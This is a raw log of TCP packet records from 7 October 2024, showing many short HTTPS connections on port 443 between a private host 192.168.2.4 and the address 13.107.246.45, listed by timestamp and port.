Oct 7, 2024 18:44:36.372337103 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.372343063 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.390697956 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.391962051 CEST	53856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.391988039 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.392436028 CEST	53856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.392441034 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.396490097 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.396809101 CEST	53858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.396826982 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.397229910 CEST	53858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.397237062 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.461029053 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.461199999 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.461282969 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.461304903 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.461329937 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.461587906 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.461617947 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.461633921 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.461633921 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.461642027 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.461647987 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.465209007 CEST	53861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.465255976 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.465339899 CEST	53861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.465491056 CEST	53861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.465502024 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.469935894 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.470078945 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.470149994 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.470176935 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.470205069 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.470252991 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.470316887 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.470330954 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.470341921 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.470346928 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.470391989 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.471740007 CEST	53860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.471765041 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.472204924 CEST	53860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.472213030 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.472511053 CEST	53862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.472524881 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.472589016 CEST	53862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.472886086 CEST	53862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.472898960 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.493624926 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.493686914 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.493805885 CEST	53856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.494009018 CEST	53856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.494028091 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.494039059 CEST	53856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.494044065 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.498298883 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.498599052 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.498677015 CEST	53858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.501140118 CEST	53858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.501162052 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.501173019 CEST	53858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.501178026 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.504226923 CEST	53863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.504261017 CEST	53864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.504271030 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.504288912 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.504358053 CEST	53863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.504530907 CEST	53863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.504535913 CEST	53864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.504547119 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.504575968 CEST	53864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.504582882 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.569962025 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.570055962 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.570272923 CEST	53860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.570317984 CEST	53860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.570317984 CEST	53860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.570338964 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.570349932 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.573349953 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.573380947 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.573463917 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.573621988 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.573637962 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.088022947 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.088630915 CEST	53861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.088666916 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.089143038 CEST	53861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.089154959 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.184006929 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.184257984 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.184309959 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.184370041 CEST	53861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.187769890 CEST	53861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.187805891 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.187829018 CEST	53861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.187836885 CEST	443	53861	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.190900087 CEST	53866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.190939903 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.191076994 CEST	53866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.191215038 CEST	53866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.191226959 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.191977978 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.192543983 CEST	53862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.192563057 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.192991018 CEST	53862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.193000078 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.241647959 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.242408991 CEST	53864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.242448092 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.242995024 CEST	53864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.242999077 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.246189117 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.246602058 CEST	53863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.246625900 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.247091055 CEST	53863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.247096062 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.271625996 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.272149086 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.272165060 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.272638083 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.272643089 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.296962976 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.297267914 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.297328949 CEST	53862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.297378063 CEST	53862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.297399044 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.297414064 CEST	53862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.297420025 CEST	443	53862	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.301579952 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.301656961 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.301740885 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.302040100 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.302071095 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.425683975 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.426206112 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.426261902 CEST	53864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.426337957 CEST	53864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.426362991 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.426374912 CEST	53864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.426381111 CEST	443	53864	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.430114031 CEST	53868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.430217981 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.430305958 CEST	53868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.430471897 CEST	53868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.430502892 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.435676098 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.435745001 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.435900927 CEST	53863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.435937881 CEST	53863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.435959101 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.435970068 CEST	53863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.435976028 CEST	443	53863	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.438585043 CEST	53869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.438635111 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.438780069 CEST	53869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.438926935 CEST	53869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.438941002 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.486329079 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.486423969 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.486494064 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.486520052 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.486541986 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.486681938 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.486825943 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.486843109 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.486852884 CEST	53865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.486859083 CEST	443	53865	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.490158081 CEST	53870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.490257025 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.490353107 CEST	53870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.490530968 CEST	53870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.490569115 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.905436039 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.928864002 CEST	53866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.928891897 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:37.932379007 CEST	53866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:37.932395935 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.129199982 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.129648924 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.131198883 CEST	53866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.203025103 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.255546093 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.291909933 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.300064087 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.310946941 CEST	53866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.310981989 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.310993910 CEST	53866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.311001062 CEST	443	53866	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.313189983 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.313204050 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.313671112 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.313676119 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.313932896 CEST	53869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.313980103 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.314294100 CEST	53869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.314300060 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.314508915 CEST	53868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.314553976 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.314852953 CEST	53868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.314861059 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.317636967 CEST	53871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.317677975 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.317733049 CEST	53871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.317890882 CEST	53871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.317899942 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.352240086 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.352727890 CEST	53870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.352760077 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.353255033 CEST	53870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.353261948 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.473937035 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.474112988 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.474215031 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.474684954 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.474708080 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.474719048 CEST	53867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.474724054 CEST	443	53867	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.477982998 CEST	53872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.478045940 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.478130102 CEST	53872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.478271961 CEST	53872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.478291988 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.513979912 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.514060974 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.514152050 CEST	53869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.514396906 CEST	53869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.514446974 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.514484882 CEST	53869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.514501095 CEST	443	53869	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.517416954 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.517508984 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.517591000 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.517653942 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.517713070 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.517752886 CEST	53868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.517842054 CEST	53868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.517860889 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.517874002 CEST	53868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.517879963 CEST	443	53868	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.517906904 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.517940998 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.519887924 CEST	53874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.519908905 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.519984007 CEST	53874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.520114899 CEST	53874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.520136118 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.553222895 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.553293943 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.553368092 CEST	53870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.553572893 CEST	53870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.553627968 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.553657055 CEST	53870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.553672075 CEST	443	53870	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.556652069 CEST	53875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.556711912 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:38.556776047 CEST	53875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.556915998 CEST	53875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:38.556930065 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.092395067 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.092984915 CEST	53871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.093070030 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.093652964 CEST	53871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.093683004 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.184703112 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.185188055 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.185380936 CEST	53874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.185445070 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.185677052 CEST	53872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.185698032 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.186193943 CEST	53872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.186196089 CEST	53874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.186201096 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.186208963 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.192531109 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.192727089 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.192800999 CEST	53871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.192888021 CEST	53871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.192888021 CEST	53871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.192941904 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.192971945 CEST	443	53871	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.197680950 CEST	53876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.197719097 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.197779894 CEST	53876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.197899103 CEST	53876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.197910070 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.223050117 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.223589897 CEST	53875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.223618031 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.224075079 CEST	53875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.224080086 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.229501963 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.230036020 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.230055094 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.230868101 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.230879068 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.280911922 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.280967951 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.281066895 CEST	53874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.281332970 CEST	53874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.281375885 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.281404018 CEST	53874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.281419992 CEST	443	53874	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.284085035 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.284282923 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.284410000 CEST	53872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.284466028 CEST	53872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.284466028 CEST	53872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.284495115 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.284507990 CEST	443	53872	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.284667015 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.284694910 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.284765959 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.284898043 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.284909964 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.286442995 CEST	53878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.286449909 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.286518097 CEST	53878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.286638021 CEST	53878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.286649942 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.325541973 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.325571060 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.325623035 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.325673103 CEST	53875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.325870037 CEST	53875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.325885057 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.325896978 CEST	53875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.325905085 CEST	443	53875	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.328830957 CEST	53879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.328875065 CEST	443	53879	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.328973055 CEST	53879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.329124928 CEST	53879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.329135895 CEST	443	53879	13.107.246.45	192.168.2.4
